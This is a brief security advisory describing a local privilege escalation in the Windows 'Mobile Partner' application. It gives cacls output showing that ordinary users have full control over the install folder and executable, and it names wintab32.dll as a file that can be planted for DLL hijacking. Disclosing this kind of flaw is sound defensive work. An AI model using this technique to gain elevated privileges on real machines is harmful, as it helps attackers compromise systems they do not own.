#1| Local Privilege Escalation 
--------------------------------

- Description
==============
Any user in the system can modify the legitimate binary to any kind of malicious executable. 
The user could also place a malicious wintab32.dll file inside the "Mobile Partner" folder and
perform DLL hijacking easily. If an attacker break into a low privilege account he could use
this application to escalate his privileges.

- Proof of Concept
===================

C:\Program Files>cacls "Mobile Partner"
C:\Program Files\Mobile Partner BUILTIN\Users:(OI)(IO)F
                                BUILTIN\Users:(CI)F
                                NT SERVICE\TrustedInstaller:(ID)F
                                NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
                                NT AUTHORITY\SYSTEM:(ID)F
                                NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F

C:\Program Files>cd "Mobile Partner"

C:\Program Files\Mobile Partner>cacls "Mobile Partner.exe"
C:\Program Files\Mobile Partner\Mobile Partner.exe BUILTIN\Users:F
                                                   BUILTIN\Users:(ID)F
